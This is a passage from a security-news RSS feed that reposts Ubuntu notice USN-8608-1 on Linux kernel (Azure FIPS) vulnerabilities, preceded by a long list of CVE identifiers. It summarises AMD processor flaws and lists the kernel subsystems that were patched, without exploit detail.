CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:38 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
